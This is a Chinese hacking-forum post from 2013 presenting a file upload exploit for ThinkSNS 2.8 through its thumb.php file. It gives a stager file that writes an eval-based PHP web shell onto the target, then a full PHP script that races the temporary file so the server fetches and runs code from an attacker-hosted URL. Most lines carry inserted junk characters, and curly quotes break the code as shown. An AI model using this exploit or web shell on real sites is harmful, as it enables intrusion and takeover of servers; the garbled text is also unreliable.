找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1901|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
1 w/ |' Q! z; ~存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)" X( p& M, \' e
漏洞文件6 U$ p/ S% a( P0 v" q
存在漏洞的文件为:thumb.php
7 {; M+ W) {$ f作者:韦鲲鹏
% Q0 X; L- {# {  Z+ X1、        准备如下PHP文件并上传到服务器(自己的)。
3 ?& Y9 j8 D& U- q文件内容如下:
" L5 ~/ V4 q, Y$ T<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
; ?5 J3 K) V% n/ {+ z5 H6 T6 q$ O9 }, M2、        计算出临时的文件名:
; H7 {6 d2 N% K0 A: `% Z% ?1 J. E. B这里我们可以看文件的99行(刚刚是不是没注意呀!)。- j. N; J, k% T: ]
1 \( z/ \. m: k! I, M# b( p) Q2 L
3、        上传临时文件。5 S' k, p& C3 Z; k/ S* Q- Q6 s
4、        访问临时文件。
% @5 P# N# `5 ]2 W- ?7 v但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
# M: F) D! q# ~  W. N4 x7 yExploit文件内容如下:(这个我就不详细解释了)" Z, @% C+ G' [) u& w8 t! h* m
<?php8 K+ Q" h* }8 h2 ]. F
error_reporting(0);
. U' ]! {) q  |6 Cset_time_limit(0);. a& n( C( R. ]" _7 m% ?
ini_set(“default_socket_timeout”, 5);$ [# V5 o) X: Q1 |3 B
function http_send($host, $port, $headers) {+ _' A2 \7 y$ Q  j" O3 V
$fp = fsockopen($host, $port);& X- F& Q2 ]: U0 a* _. @$ z* P% w
if (!$fp) die(‘Connection -> fail’);$ G6 o- c9 o, `. i* G% F1 \5 e
fputs($fp, $headers);
* z, F% r. B. Z' C8 V' z. ^  mreturn $fp;1 }; j" v+ T, o8 G0 i. i
}8 n4 Z" R: Y5 w$ J; F# t5 g: ^9 v
function http_recv($fp) {9 Q; V/ N0 o9 @% q
$ret=”";2 t, T2 I! p% X" G* t5 N
while (!feof($fp))
1 s; ]* \% K: T* [8 R3 h$ret.= fgets($fp, 1024);! @' d. m7 D* I6 F- S
fclose($fp);) ^4 {3 E; t1 ]+ J9 F
return $ret;
1 |3 E2 n; b9 S8 _}
; J2 ^6 ]; ~1 S$ l1 \% Oprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
5 b: |- ~; S4 Nprint “# Discovered by 韦鲲鹏 #\n\n”;
5 Q" r3 ?- a& U) Pif ($argc < 4) {, m+ s) a  z1 z% O. j
print “Usage:   php <host> <path> <romote_url>\n”;% _2 D; Z4 o: m
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
! ], ~; h# r) b5 ~4 y7 x" B: |die();
/ U6 s2 G& Z9 O+ h. s8 ~: v}- _2 Z( z0 E! P# R5 w) v
$host = $argv[1];
! R* O2 ]9 @/ I8 V! R$ Y" F$path = $argv[2];1 a) L9 u, ^2 s* F. w; B
$url = $argv[3];
1 ^- L& ]# [0 X: H+ G% f; h$i=0;; H# L, W( @% J% m
//上传数据包. Z) y, d3 ]# P8 e  @! J4 C& L6 K7 F
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
1 m1 Z4 p% w5 _4 E$headers_up .= “Host: “.$host.”\r\n”;7 J/ w- F* H4 I/ p- U' x9 b+ x
$headers_up .= “Connection: close\r\n\r\n”;. P! X! x* h8 r, R3 r7 N/ |
echo $headers_up;" [* g2 Z7 y& \7 r+ T+ R! ~
//临时文件访问数据包* L/ p, f% J; I* ~3 Q
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;: Y6 N9 ]3 }& @1 I
$headers .= “Host: “.$host.”\r\n”;" m2 `8 M0 Y9 }+ ?
$headers .= “Connection: close\r\n\r\n”;  I+ ~- U; g& ?0 n3 M) [% A! l) ?
echo $headers;# J, S( u$ N2 n3 s' v
while(++$i<10) {
( k7 @. f( R- y9 ofclose(http_send($host, 80, $headers));
3 H, u% y, s* h% M, S}
; G. n8 z# F7 h3 u" d) b% `fclose(http_send($host, 80, $headers_up));' M* X% t2 w1 I9 p* c$ [* y7 B
while(++$i<50) {! |6 K1 |+ E! R& y3 k' Z% x* `, J
fclose(http_send($host, 80, $headers));
, H8 q4 n% x/ V" V/ n+ W}  b, o0 \) t9 b' }' F- ~
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;  w* H" i5 g. m, ?# F- _
$headers .= “Host: “.$host.”\r\n”;
4 U/ M+ N- H) g, n1 y$headers .= “Connection: close\r\n\r\n”;& w9 K5 X+ e  T/ h: z
$res=http_recv(http_send($host, 80, $headers));$ G8 ]( O7 J# o4 ?3 E: A2 n/ U" u; ]
if(preg_match(‘/200 OK/’,$res)) {
' ]& T+ L- j7 Q9 s1 |: I0 A$ Hprint “Success!\n\n”;
- O9 o0 U' T% O# D, Y% n' k} else {
* F2 E  k7 ^1 D) Y" lprint “Fail!\n\n”;) v" E6 a! c. F! n% {3 V
}" X% z9 D2 \& J6 k
?>
8 s. B5 P* y* T7 _& q; B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表